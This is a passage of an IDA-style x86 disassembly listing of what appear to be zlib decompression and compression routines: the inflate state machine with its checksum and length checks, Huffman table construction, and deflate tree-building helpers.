		call	sub_40E0E6


loc_411290:				; CODE XREF: sub_41025B+102Ej
		mov	ecx, [ebp+arg_0]
		mov	[esi+18h], eax
		add	esp, 0Ch
		mov	[ecx+30h], eax
		mov	edx, ecx


loc_41129E:				; CODE XREF: sub_41025B+1016j
		cmp	dword ptr [esi+10h], 0
		mov	eax, [ebp+var_14]
		mov	[ebp+var_20], eax
		mov	eax, ebx
		jnz	short loc_4112C9
		and	eax, 0FF00h
		mov	ecx, ebx
		shl	ecx, 10h
		add	eax, ecx
		xor	ecx, ecx
		mov	ch, byte ptr [ebp+var_10+2]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, ebx
		shr	ecx, 18h
		add	eax, ecx


loc_4112C9:				; CODE XREF: sub_41025B+104Fj
		cmp	eax, [esi+18h]
		jz	short loc_4112D7
		mov	dword ptr [edx+18h], offset aIncorrectDataC ; "incorrect data check"
		jmp	short loc_41132B
; ---------------------------------------------------------------------------


loc_4112D7:				; CODE XREF: sub_41025B+1071j
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi


loc_4112DE:				; CODE XREF: sub_41025B+FD0j
		mov	dword ptr [esi], 19h


loc_4112E4:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114C7o
		cmp	dword ptr [esi+8], 0
		jz	short loc_411369
		cmp	dword ptr [esi+10h], 0
		jz	short loc_411369
		cmp	edi, 20h
		jnb	short loc_41131F


loc_4112F5:				; CODE XREF: sub_41025B+10BFj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 20h
		mov	[ebp+var_10], ebx
		jb	short loc_4112F5
		mov	edx, [ebp+arg_0]


loc_41131F:				; CODE XREF: sub_41025B+1098j
		cmp	ebx, [esi+1Ch]
		jz	short loc_411365
		mov	dword ptr [edx+18h], offset aIncorrectLengt ; "incorrect length	check"


loc_41132B:				; CODE XREF: sub_41025B+136j
					; sub_41025B+15Bj ...
		mov	dword ptr [esi], 1Bh


loc_411331:				; CODE XREF: sub_41025B+82j
					; sub_41025B+EEj ...
		mov	eax, [esi]
		cmp	eax, 1Ch
		jbe	loc_4102C6
		jmp	loc_4102BE
; ---------------------------------------------------------------------------


loc_411341:				; CODE XREF: sub_41025B+66Aj
		mov	eax, [ebp+var_1C]
		mov	[edx+0Ch], eax
		mov	eax, [ebp+var_14]
		mov	[edx+10h], eax
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		mov	[esi+38h], ebx
		mov	[esi+3Ch], edi
		push	2
		jmp	loc_4102C0
; ---------------------------------------------------------------------------


loc_411365:				; CODE XREF: sub_41025B+10C7j
		xor	ebx, ebx
		xor	edi, edi


loc_411369:				; CODE XREF: sub_41025B+108Dj
					; sub_41025B+1093j
		mov	dword ptr [esi], 1Ah


loc_41136F:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114CBo
		mov	[ebp+var_24], 1
		jmp	short loc_41137F
; ---------------------------------------------------------------------------


loc_411378:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114CFo
		mov	[ebp+var_24], 0FFFFFFFDh


loc_41137F:				; CODE XREF: sub_41025B+8Bj
					; sub_41025B+1ADj ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_14]
		mov	[eax+10h], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	dword ptr [esi+28h], 0
		mov	[esi+38h], ebx
		mov	[esi+3Ch], edi
		jnz	short loc_4113B5
		cmp	dword ptr [esi], 18h
		jge	short loc_4113D1
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_0]
		cmp	eax, [ecx+10h]
		jz	short loc_4113D1


loc_4113B5:				; CODE XREF: sub_41025B+1148j
		mov	eax, [ebp+var_20]
		mov	edi, [ebp+arg_0]
		call	sub_410183
		test	eax, eax
		jz	short loc_4113D1
		mov	dword ptr [esi], 1Ch


loc_4113CA:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114D3o
		push	0FFFFFFFCh
		jmp	loc_4102C0
; ---------------------------------------------------------------------------


loc_4113D1:				; CODE XREF: sub_41025B+114Dj
					; sub_41025B+1158j ...
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		sub	eax, [edi+4]
		mov	ebx, [ebp+var_20]
		sub	ebx, [edi+10h]
		add	[edi+8], eax
		add	[edi+14h], ebx
		add	[esi+1Ch], ebx
		cmp	dword ptr [esi+8], 0
		mov	[ebp+var_2C], eax
		jz	short loc_41141E
		test	ebx, ebx
		jz	short loc_41141E
		mov	eax, [edi+0Ch]
		push	ebx
		sub	eax, ebx
		cmp	dword ptr [esi+10h], 0
		push	eax
		push	dword ptr [esi+18h]
		jz	short loc_41140D
		call	sub_40E5EB
		jmp	short loc_411412
; ---------------------------------------------------------------------------


loc_41140D:				; CODE XREF: sub_41025B+11A9j
		call	sub_40E0E6


loc_411412:				; CODE XREF: sub_41025B+11B0j
		mov	[esi+18h], eax
		mov	[edi+30h], eax
		mov	eax, [ebp+var_2C]
		add	esp, 0Ch


loc_41141E:				; CODE XREF: sub_41025B+1195j
					; sub_41025B+1199j
		cmp	dword ptr [esi], 0Bh
		jnz	short loc_41142A
		mov	ecx, 80h
		jmp	short loc_41142C
; ---------------------------------------------------------------------------


loc_41142A:				; CODE XREF: sub_41025B+11C6j
		xor	ecx, ecx


loc_41142C:				; CODE XREF: sub_41025B+11CDj
		mov	edx, [esi+4]
		neg	edx
		sbb	edx, edx
		and	edx, 40h
		add	edx, ecx
		add	edx, [esi+3Ch]
		test	eax, eax
		mov	[edi+2Ch], edx
		jnz	short loc_411446
		test	ebx, ebx
		jz	short loc_41144C


loc_411446:				; CODE XREF: sub_41025B+11E5j
		cmp	[ebp+arg_4], 4
		jnz	short loc_411459


loc_41144C:				; CODE XREF: sub_41025B+11E9j
		cmp	[ebp+var_24], 0
		jnz	short loc_411459
		mov	[ebp+var_24], 0FFFFFFFBh


loc_411459:				; CODE XREF: sub_41025B+11EFj
					; sub_41025B+11F5j
		mov	eax, [ebp+var_24]
		jmp	loc_4102C1
sub_41025B	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_411463	dd offset loc_4102D0	; DATA XREF: sub_41025B:loc_4102C9r
		dd offset loc_4103FF
		dd offset loc_410498
		dd offset loc_410510
		dd offset loc_41058E
		dd offset loc_410611
		dd offset loc_4106AD
		dd offset loc_410747
		dd offset loc_4107DD
		dd offset loc_410865
		dd offset loc_4108C1
		dd offset loc_4108E7
		dd offset loc_4108F4
		dd offset loc_4109A9
		dd offset loc_410A12
		dd offset loc_410A68
		dd offset loc_410B31
		dd offset loc_410DAD
		dd offset loc_410E18
		dd offset loc_410FB6
		dd offset loc_410FFC
		dd offset loc_411115
		dd offset loc_41117C
		dd offset loc_411204
		dd offset loc_411227
		dd offset loc_4112E4
		dd offset loc_41136F
		dd offset loc_411378
		dd offset loc_4113CA

; =============== S U B	R O U T	I N E =======================================



sub_4114D7	proc near		; CODE XREF: sub_412FA4+59p
					; sub_412FA4+81p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_411510
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_411510
		mov	ecx, [esi+24h]
		test	ecx, ecx
		jz	short loc_411510
		mov	eax, [eax+34h]
		test	eax, eax
		jz	short loc_4114FD
		push	eax
		push	dword ptr [esi+28h]
		call	ecx
		pop	ecx
		pop	ecx


loc_4114FD:				; CODE XREF: sub_4114D7+1Cj
		push	dword ptr [esi+1Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		and	dword ptr [esi+1Ch], 0
		pop	ecx
		pop	ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411510:				; CODE XREF: sub_4114D7+7j
					; sub_4114D7+Ej ...
		push	0FFFFFFFEh
		pop	eax
		pop	esi
		retn
sub_4114D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411515	proc near		; CODE XREF: sub_41025B+922p
					; sub_41025B+B20p ...

var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_5C		= word ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	ebx
		push	esi
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_5C]
		rep stosd
		xor	edx, edx
		xor	ecx, ecx
		cmp	[ebp+arg_8], edx
		jbe	short loc_411545


loc_411531:				; CODE XREF: sub_411515+2Ej
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax+ecx*2]
		lea	eax, [ebp+eax*2+var_5C]
		inc	word ptr [eax]
		inc	ecx
		cmp	ecx, [ebp+arg_8]
		jb	short loc_411531


loc_411545:				; CODE XREF: sub_411515+1Aj
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	0Fh
		pop	ebx
		mov	[ebp+var_C], eax
		mov	[ebp+var_1C], ebx


loc_411553:				; CODE XREF: sub_411515+4Cj
		cmp	[ebp+ebx*2+var_5C], dx
		jnz	short loc_411563
		dec	ebx
		cmp	ebx, 1
		mov	[ebp+var_1C], ebx
		jnb	short loc_411553


loc_411563:				; CODE XREF: sub_411515+43j
		cmp	eax, ebx
		jbe	short loc_41156A
		mov	[ebp+var_C], ebx


loc_41156A:				; CODE XREF: sub_411515+50j
		cmp	ebx, edx
		jnz	short loc_411599
		mov	ecx, [ebp+arg_C]
		mov	word ptr [ebp+arg_8+2],	dx
		mov	edx, [ecx]
		mov	byte ptr [ebp+arg_8], 40h
		mov	byte ptr [ebp+arg_8+1],	1
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		add	dword ptr [ecx], 4
		mov	edx, [ecx]
		mov	[edx], eax
		add	dword ptr [ecx], 4
		mov	dword ptr [esi], 1
		jmp	loc_4118C2
; ---------------------------------------------------------------------------


loc_411599:				; CODE XREF: sub_411515+57j
		xor	edi, edi
		inc	edi
		mov	eax, edi
		mov	[ebp+var_18], edi


loc_4115A1:				; CODE XREF: sub_411515+9Cj
		xor	esi, esi
		cmp	[ebp+eax*2+var_5C], si
		jnz	short loc_4115B3
		inc	eax
		cmp	eax, 0Fh
		mov	[ebp+var_18], eax
		jbe	short loc_4115A1


loc_4115B3:				; CODE XREF: sub_411515+93j
		cmp	[ebp+var_C], eax
		jnb	short loc_4115BB
		mov	[ebp+var_C], eax


loc_4115BB:				; CODE XREF: sub_411515+A1j
		mov	edx, edi
		mov	ecx, edi


loc_4115BF:				; CODE XREF: sub_411515+B9j
		movzx	eax, [ebp+ecx*2+var_5C]
		add	edx, edx
		sub	edx, eax
		js	short loc_411649
		inc	ecx
		cmp	ecx, 0Fh
		jbe	short loc_4115BF
		cmp	edx, esi
		jle	short loc_4115DD
		cmp	[ebp+arg_0], esi
		jz	short loc_411649
		cmp	ebx, edi
		jnz	short loc_411649


loc_4115DD:				; CODE XREF: sub_411515+BDj
		push	2
		mov	[ebp+var_7A], si
		pop	ecx


loc_4115E4:				; CODE XREF: sub_411515+E3j
		mov	ax, [ebp+ecx+var_7C]
		add	ax, [ebp+ecx+var_5C]
		inc	ecx
		mov	[ebp+ecx+var_7C+1], ax
		inc	ecx
		cmp	ecx, 1Eh
		jb	short loc_4115E4
		xor	edx, edx
		cmp	[ebp+arg_8], esi
		jbe	short loc_41162B


loc_411601:				; CODE XREF: sub_411515+114j
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edx*2]
		cmp	[eax], si
		jz	short loc_411625
		movzx	ecx, word ptr [eax]
		movzx	ecx, [ebp+ecx*2+var_7C]
		mov	ebx, [ebp+arg_14]
		mov	[ebx+ecx*2], dx
		movzx	ecx, word ptr [eax]
		lea	ecx, [ebp+ecx*2+var_7C]
		inc	word ptr [ecx]


loc_411625:				; CODE XREF: sub_411515+F5j
		inc	edx
		cmp	edx, [ebp+arg_8]
		jb	short loc_411601


loc_41162B:				; CODE XREF: sub_411515+EAj
		mov	ecx, [ebp+arg_0]
		sub	ecx, esi
		jz	short loc_411673
		dec	ecx
		jz	short loc_411651
		or	[ebp+var_14], 0FFFFFFFFh
		mov	[ebp+var_28], offset dword_41F718
		mov	[ebp+var_24], offset dword_41F758
		jmp	short loc_411683
; ---------------------------------------------------------------------------


loc_411649:				; CODE XREF: sub_411515+B3j
					; sub_411515+C2j ...
		or	eax, 0FFFFFFFFh
		jmp	loc_4118C4
; ---------------------------------------------------------------------------


loc_411651:				; CODE XREF: sub_411515+11Ej
		mov	ecx, 202h
		mov	edx, offset dword_41F698
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	edx, offset dword_41F6D8
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	[ebp+var_14], 100h
		jmp	short loc_411683
; ---------------------------------------------------------------------------


loc_411673:				; CODE XREF: sub_411515+11Bj
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_14], 13h


loc_411683:				; CODE XREF: sub_411515+132j
					; sub_411515+15Cj
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	ebx, [ebp+arg_C]
		and	[ebp+var_8], 0
		or	[ebp+var_30], 0FFFFFFFFh
		mov	edx, edi
		shl	edx, cl
		cmp	[ebp+arg_0], edi
		mov	[ebp+var_4], esi
		mov	esi, [ebx]
		lea	ecx, [edx-1]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_34], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_38], ecx
		jnz	short loc_4116C0
		cmp	edx, 5B0h
		jb	short loc_4116C0
		mov	eax, edi
		jmp	loc_4118C4
; ---------------------------------------------------------------------------


loc_4116C0:				; CODE XREF: sub_411515+19Aj
					; sub_411515+1A2j
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_10], ecx


loc_4116C6:				; CODE XREF: sub_411515+27Ej
					; sub_411515+290j ...
		mov	cl, al
		sub	cl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+arg_8+1],	cl
		mov	ecx, [ebp+var_10]
		movzx	ecx, word ptr [ecx]
		movzx	edx, cx
		cmp	edx, [ebp+var_14]
		jge	short loc_4116E2
		mov	byte ptr [ebp+arg_8], 0
		jmp	short loc_4116FC
; ---------------------------------------------------------------------------


loc_4116E2:				; CODE XREF: sub_411515+1C5j
		jle	short loc_411702
		mov	ecx, [ebp+var_10]
		movzx	ecx, word ptr [ecx]
		mov	edx, [ebp+var_24]
		add	ecx, ecx
		mov	dl, [ecx+edx]
		mov	byte ptr [ebp+arg_8], dl
		mov	edx, [ebp+var_28]
		mov	cx, [ecx+edx]


loc_4116FC:				; CODE XREF: sub_411515+1CBj
		mov	word ptr [ebp+arg_8+2],	cx
		jmp	short loc_41170B
; ---------------------------------------------------------------------------


loc_411702:				; CODE XREF: sub_411515:loc_4116E2j
		and	word ptr [ebp+arg_8+2],	0
		mov	byte ptr [ebp+arg_8], 60h


loc_41170B:				; CODE XREF: sub_411515+1EBj
		mov	edi, [ebp+var_34]
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		shr	eax, cl
		mov	[ebp+var_18], edi
		add	eax, edi
		lea	ecx, [esi+eax*4]


loc_411728:				; CODE XREF: sub_411515+223j
		mov	eax, edx
		shl	eax, 2
		sub	ecx, eax
		mov	eax, [ebp+arg_8]
		sub	edi, edx
		test	edi, edi
		mov	[ecx], eax
		jnz	short loc_411728
		mov	eax, [ebp+var_2C]
		xor	edx, edx
		lea	ecx, [eax-1]
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_4]
		jmp	short loc_41174C
; ---------------------------------------------------------------------------


loc_41174A:				; CODE XREF: sub_411515+239j
		shr	edx, 1


loc_41174C:				; CODE XREF: sub_411515+233j
		test	edx, ecx
		jnz	short loc_41174A
		test	edx, edx
		jz	short loc_411760
		lea	edi, [edx-1]
		and	edi, ecx
		add	edi, edx
		mov	[ebp+var_4], edi
		jmp	short loc_411764
; ---------------------------------------------------------------------------


loc_411760:				; CODE XREF: sub_411515+23Dj
		and	[ebp+var_4], 0


loc_411764:				; CODE XREF: sub_411515+249j
		add	[ebp+var_10], 2
		lea	ecx, [ebp+eax*2+var_5C]
		dec	word ptr [ecx]
		movzx	ecx, word ptr [ecx]
		test	cx, cx
		jnz	short loc_411790
		cmp	eax, [ebp+var_1C]
		jz	loc_411842
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+arg_4]
		movzx	eax, word ptr [ecx+eax*2]
		mov	[ebp+var_2C], eax


loc_411790:				; CODE XREF: sub_411515+260j
		cmp	eax, [ebp+var_C]
		jbe	loc_4116C6
		mov	ecx, [ebp+var_38]
		and	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_30]
		mov	[ebp+var_3C], ecx
		jz	loc_4116C6
		mov	edi, [ebp+var_8]
		test	edi, edi
		jnz	short loc_4117B8
		mov	edi, [ebp+var_C]
		mov	[ebp+var_8], edi


loc_4117B8:				; CODE XREF: sub_411515+29Bj
		mov	ecx, [ebp+var_18]
		lea	esi, [esi+ecx*4]
		xor	edx, edx
		mov	ecx, eax
		sub	ecx, edi
		inc	edx
		add	edi, ecx
		shl	edx, cl
		cmp	edi, [ebp+var_1C]
		jnb	short loc_4117F6
		mov	[ebp+var_18], edi
		lea	eax, [ebp+edi*2+var_5C]
		jmp	short loc_4117DA
; ---------------------------------------------------------------------------


loc_4117D7:				; CODE XREF: sub_411515+2DFj
		mov	eax, [ebp+var_34]


loc_4117DA:				; CODE XREF: sub_411515+2C0j
		movzx	edi, word ptr [eax]
		sub	edx, edi
		test	edx, edx
		jle	short loc_4117F6
		inc	ecx
		inc	[ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_18]
		add	edx, edx
		cmp	eax, [ebp+var_1C]
		jb	short loc_4117D7


loc_4117F6:				; CODE XREF: sub_411515+2B7j
					; sub_411515+2CCj
		xor	eax, eax
		inc	eax
		mov	edx, eax
		shl	edx, cl
		add	[ebp+var_20], edx
		cmp	[ebp+arg_0], eax
		mov	[ebp+var_34], edx
		jnz	short loc_411815
		cmp	[ebp+var_20], 5B0h
		jnb	loc_4118C4


loc_411815:				; CODE XREF: sub_411515+2F1j
		mov	edx, [ebp+var_3C]
		mov	eax, [ebx]
		mov	[ebp+var_30], edx
		shl	edx, 2
		mov	[edx+eax], cl
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_C]
		mov	[edx+eax+1], cl
		mov	ecx, [ebx]
		mov	eax, esi
		sub	eax, ecx
		sar	eax, 2
		mov	[edx+ecx+2], ax
		mov	eax, [ebp+var_2C]
		jmp	loc_4116C6
; ---------------------------------------------------------------------------


loc_411842:				; CODE XREF: sub_411515+265j
		mov	edi, [ebp+var_4]
		and	word ptr [ebp+arg_8+2],	0
		mov	cl, al
		sub	cl, byte ptr [ebp+var_8]
		test	edi, edi
		mov	byte ptr [ebp+arg_8], 40h
		mov	byte ptr [ebp+arg_8+1],	cl
		jz	short loc_4118B2
		jmp	short loc_41185F
; ---------------------------------------------------------------------------


loc_41185C:				; CODE XREF: sub_411515+39Bj
		mov	edi, [ebp+var_4]


loc_41185F:				; CODE XREF: sub_411515+345j
		cmp	[ebp+var_8], 0
		jz	short loc_41187B
		mov	ecx, [ebp+var_38]
		and	ecx, edi
		cmp	ecx, [ebp+var_30]
		jz	short loc_41187B
		mov	eax, [ebp+var_C]
		and	[ebp+var_8], 0
		mov	esi, [ebx]
		mov	byte ptr [ebp+arg_8+1],	al


loc_41187B:				; CODE XREF: sub_411515+34Ej
					; sub_411515+358j
		mov	ecx, [ebp+var_8]
		mov	edx, edi
		shr	edx, cl
		mov	ecx, [ebp+arg_8]
		mov	[esi+edx*4], ecx
		xor	edx, edx
		lea	ecx, [eax-1]
		inc	edx
		shl	edx, cl
		jmp	short loc_411894
; ---------------------------------------------------------------------------


loc_411892:				; CODE XREF: sub_411515+381j
		shr	edx, 1


loc_411894:				; CODE XREF: sub_411515+37Bj
		test	edx, edi
		jnz	short loc_411892
		test	edx, edx
		jz	short loc_4118A8
		lea	ecx, [edx-1]
		and	ecx, edi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		jmp	short loc_4118AC
; ---------------------------------------------------------------------------


loc_4118A8:				; CODE XREF: sub_411515+385j
		and	[ebp+var_4], 0


loc_4118AC:				; CODE XREF: sub_411515+391j
		cmp	[ebp+var_4], 0
		jnz	short loc_41185C


loc_4118B2:				; CODE XREF: sub_411515+343j
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_C]
		shl	eax, 2
		add	[ebx], eax
		mov	eax, [ebp+arg_10]
		mov	[eax], ecx


loc_4118C2:				; CODE XREF: sub_411515+7Fj
		xor	eax, eax


loc_4118C4:				; CODE XREF: sub_411515+137j
					; sub_411515+1A6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411515	endp


; =============== S U B	R O U T	I N E =======================================



sub_4118C9	proc near		; CODE XREF: sub_412850+5Fj
					; sub_412DBD+1D1p
		push	esi
		lea	ecx, [eax+94h]
		mov	edx, 11Eh
		xor	esi, esi


loc_4118D7:				; CODE XREF: sub_4118C9+15j
		mov	[ecx], si
		add	ecx, 4
		dec	edx
		jnz	short loc_4118D7
		push	1Eh
		lea	ecx, [eax+988h]
		pop	edx


loc_4118E9:				; CODE XREF: sub_4118C9+27j
		mov	[ecx], si
		add	ecx, 4
		dec	edx
		jnz	short loc_4118E9
		push	13h
		lea	ecx, [eax+0A7Ch]
		pop	edx


loc_4118FB:				; CODE XREF: sub_4118C9+39j
		mov	[ecx], si
		add	ecx, 4
		dec	edx
		jnz	short loc_4118FB
		mov	[eax+16ACh], esi
		mov	[eax+16A8h], esi
		mov	[eax+16B0h], esi
		mov	[eax+16A0h], esi
		mov	word ptr [eax+494h], 1
		pop	esi
		retn
sub_4118C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411927	proc near		; CODE XREF: sub_412922+D7p
					; sub_412922+10Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+ecx*4+0B5Ch]
		mov	[ebp+var_4], edx
		mov	edx, [eax+1450h]
		add	ecx, ecx
		cmp	ecx, edx
		jg	loc_4119C8
		push	ebx
		push	esi


loc_41194A:				; CODE XREF: sub_411927+9Dj
		jge	short loc_411981
		mov	esi, [eax+ecx*4+0B60h]
		mov	edx, [eax+ecx*4+0B5Ch]
		movzx	ebx, word ptr [edi+esi*4]
		movzx	edx, word ptr [edi+edx*4]
		cmp	bx, dx
		jb	short loc_411980
		jnz	short loc_411981
		mov	dl, [esi+eax+1458h]
		mov	esi, [eax+ecx*4+0B5Ch]
		cmp	dl, [esi+eax+1458h]
		ja	short loc_411981


loc_411980:				; CODE XREF: sub_411927+3Ej
		inc	ecx


loc_411981:				; CODE XREF: sub_411927:loc_41194Aj
					; sub_411927+40j ...
		mov	esi, [eax+ecx*4+0B5Ch]
		mov	edx, [ebp+var_4]
		movzx	edx, word ptr [edi+edx*4]
		movzx	ebx, word ptr [edi+esi*4]
		cmp	dx, bx
		jb	short loc_4119C6
		jnz	short loc_4119AD
		mov	edx, [ebp+var_4]
		mov	dl, [edx+eax+1458h]
		cmp	dl, [esi+eax+1458h]
		jbe	short loc_4119C6


loc_4119AD:				; CODE XREF: sub_411927+71j
		mov	edx, [ebp+arg_0]
		mov	[eax+edx*4+0B5Ch], esi
		mov	edx, [eax+1450h]
		mov	[ebp+arg_0], ecx
		add	ecx, ecx
		cmp	ecx, edx
		jle	short loc_41194A


loc_4119C6:				; CODE XREF: sub_411927+6Fj
					; sub_411927+84j
		pop	esi
		pop	ebx


loc_4119C8:				; CODE XREF: sub_411927+1Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[eax+edx*4+0B5Ch], ecx
		leave
		retn
sub_411927	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119D7	proc near		; CODE XREF: sub_412922+1CEp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	ecx, [eax+4]
		and	[ebp+var_4], 0
		mov	[ebp+var_20], ecx
		push	ebx
		mov	ebx, [eax]
		mov	eax, [eax+8]
		mov	ecx, [eax]
		mov	[ebp+var_28], ecx
		mov	ecx, [eax+4]
		mov	[ebp+var_24], ecx
		mov	ecx, [eax+8]
		mov	eax, [eax+10h]
		push	edi
		mov	[ebp+var_14], ecx
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	8
		lea	edi, [edx+0B3Ch]
		pop	ecx
		rep stosd
		lea	eax, [edx+1454h]
		mov	ecx, [eax]
		mov	ecx, [edx+ecx*4+0B5Ch]
		and	word ptr [ebx+ecx*4+2],	0
		mov	eax, [eax]
		inc	eax
		mov	ecx, 23Dh
		cmp	eax, ecx
		jge	loc_411B90
		push	esi
		lea	esi, [edx+eax*4+0B5Ch]
		sub	ecx, eax
		mov	[ebp+var_10], esi
		mov	[ebp+var_1C], ecx
		add	eax, ecx


loc_411A49:				; CODE XREF: sub_4119D7+FBj
		mov	ecx, [ebp+var_10]
		mov	esi, [ecx]
		mov	ecx, esi
		shl	ecx, 2
		mov	[ebp+var_18], ecx
		movzx	ecx, word ptr [ecx+ebx+2]
		movzx	ecx, word ptr [ebx+ecx*4+2]
		inc	ecx
		cmp	ecx, [ebp+var_8]
		jle	short loc_411A6C
		mov	ecx, [ebp+var_8]
		inc	[ebp+var_4]


loc_411A6C:				; CODE XREF: sub_4119D7+8Dj
		cmp	esi, [ebp+var_20]
		mov	edi, [ebp+var_18]
		mov	[edi+ebx+2], cx
		jg	short loc_411ACB
		inc	word ptr [edx+ecx*2+0B3Ch]
		and	[ebp+var_C], 0
		cmp	esi, [ebp+var_14]
		jl	short loc_411A96
		sub	esi, [ebp+var_14]
		mov	edi, [ebp+var_24]
		mov	esi, [edi+esi*4]
		mov	[ebp+var_C], esi


loc_411A96:				; CODE XREF: sub_4119D7+B1j
		mov	edi, [ebp+var_18]
		movzx	esi, word ptr [edi+ebx]
		movzx	esi, si
		mov	[ebp+var_18], esi
		mov	esi, [ebp+var_C]
		add	esi, ecx
		imul	esi, [ebp+var_18]
		mov	ecx, [ebp+var_28]
		add	[edx+16A8h], esi
		test	ecx, ecx
		jz	short loc_411ACB
		movzx	ecx, word ptr [edi+ecx+2]
		add	ecx, [ebp+var_C]
		imul	ecx, [ebp+var_18]
		add	[edx+16ACh], ecx


loc_411ACB:				; CODE XREF: sub_4119D7+A0j
					; sub_4119D7+E0j
		add	[ebp+var_10], 4
		dec	[ebp+var_1C]
		jnz	loc_411A49
		cmp	[ebp+var_4], 0
		jz	loc_411B8F
		mov	ecx, [ebp+var_8]
		lea	esi, [edx+ecx*2+0B3Ch]


loc_411AEC:				; CODE XREF: sub_4119D7+149j
		mov	ecx, [ebp+var_8]
		dec	ecx
		lea	edi, [edx+ecx*2+0B3Ch]
		jmp	short loc_411AFC
; ---------------------------------------------------------------------------


loc_411AF9:				; CODE XREF: sub_4119D7+129j
		dec	ecx
		dec	edi
		dec	edi


loc_411AFC:				; CODE XREF: sub_4119D7+120j
		cmp	word ptr [edi],	0
		jz	short loc_411AF9
		dec	word ptr [edx+ecx*2+0B3Ch]
		sub	[ebp+var_4], 2
		lea	ecx, [edx+ecx*2+0B3Eh]
		add	word ptr [ecx],	2
		dec	word ptr [esi]
		cmp	[ebp+var_4], 0
		jg	short loc_411AEC
		mov	ecx, [ebp+var_8]
		test	ecx, ecx
		mov	[ebp+var_4], ecx
		jz	short loc_411B8F
		mov	[ebp+var_C], esi


loc_411B2F:				; CODE XREF: sub_4119D7+1B6j
		mov	ecx, [ebp+var_C]
		movzx	ecx, word ptr [ecx]
		test	ecx, ecx
		mov	[ebp+var_10], ecx
		jz	short loc_411B82
		lea	esi, [edx+eax*4+0B5Ch]


loc_411B43:				; CODE XREF: sub_4119D7+1A9j
		sub	esi, 4
		mov	ecx, [esi]
		dec	eax
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_28], esi
		jg	short loc_411B7C
